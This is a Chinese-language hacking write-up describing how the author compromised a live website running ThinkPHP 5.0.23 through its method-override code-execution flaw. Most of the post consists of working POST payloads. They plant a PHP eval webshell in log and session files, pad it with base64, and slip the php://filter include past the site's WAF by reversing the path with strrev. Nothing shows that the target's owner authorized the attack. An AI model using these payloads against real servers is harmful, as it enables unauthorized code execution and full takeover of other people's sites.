0x00 前言
朋友之前給了個站,拿了很久終於拿下,簡單記錄一下。
0x01 基礎信息
-
漏洞點:tp 5 method 代碼執行,payload如下
POST /?s=captcha _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
-
無回顯,根據payload 成功判斷目標thinkphp 版本應為5.0.23
-
有waf,waf攔截了以下內容
php標記: <?php <?= <? php 函數: base64_decode file_get_contents convert_uuencode 關鍵字: php://
-
linux
-
disable_function禁用了以下函數
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
-
php 7.1.7 (雖然
assert
函數不在disable_function中,但已經無法用call_user_func
回調調用)
0x02 突破
現在tp 5 method代碼執行開發出來的一些思路,不外乎如下兩種:
1,寫日志,包含日志 getshell 。payload如下:
寫shell進日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
通過日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
2,寫session,包含session getshell。payload如下:
寫shell進session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
包含session getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
而這兩種方式在這里都不可用,因為waf對<?php
等關鍵字進行了攔截,還有其他辦法嗎?
base64編碼與php://filter偽協議
倘若能夠對關鍵字進行變形或者編碼就好了,比如base64編碼:
假如我們的session 文件為/tmp/sess_kking
,內容如下
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+
<?php @eval($_GET['r']);;?>
因為最終的利用是通過inlcude
方法進行包含,其實很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking
的方式進行解碼
最終執行類似如下:
include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');
但是session里面是會有其他字符的
如何讓php://filter
正確的解碼呢?
p神的談一談php://filter的妙用文章有談到如何巧妙用php://filter
與base64
編碼繞過死亡exit
那么這里也一樣,我們只要構造合適的字符,使得我們的webshell能夠正確被base64解碼即可。
本地測試
第一步,設置session
POST /?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
(注意:這里的+號需要用urlencode
編碼為%2b,不然會在寫入session
的時候被urldecode為空格,導致編碼解碼失敗)。
疑問點1:為什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)
而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>)
呢,
答:是因為直接使用前者無論怎么拼湊字符,都沒法正常解碼。
疑問點2:為什么payload
前后會有兩個ab
?
答:是為了讓shell payload
的前后兩串字符串滿足base64解碼的長度,使其能正常解碼。
第二步,包含,成功執行代碼:
本地測試如此,但是在目標測試會發現執行不了,因為我們的payload使用了php://filter
的協議包含了php://
關鍵字
怎么讓才能讓其沒有關鍵字呢?
tp 5 method代碼執行的細節
讓我們仔細觀察代碼執行的Request.php
的filterValue
方法是如何執行代碼的。
我們注意到filter
其實是可以傳遞多個的,同時參數為參數引用。
那么其實我們就可以傳遞多個filter
來對value
進行多次傳遞處理。如先base64_decode
后將解碼后的值傳遞給include
進行包含。
但在線上這個waf是對base64_decode
這個函數進行了過濾的,經過測試發現可以使用strrev
反轉函數突破。考慮到waf的問題,我們使用的shell payload
加多一層base64編碼。
同樣道理這里的payload為什么要多幾個分號就不需要再解釋了
回到我們的getshell
步驟,在目標上執行
1,設置session
:
POST /?s=captcha
Cookie: PHPSESSID=kktest
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
(payload
前后兩個ab
同樣是為了base64
解碼湊字符的原因)
2,文件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
最終成功繞過防火牆getshell
。
0x03 總結
總的來說挺有趣的,搞了很久,最終成功getshell
也是非常的爽。(好在沒放棄:)
不妥之處,煩請指出~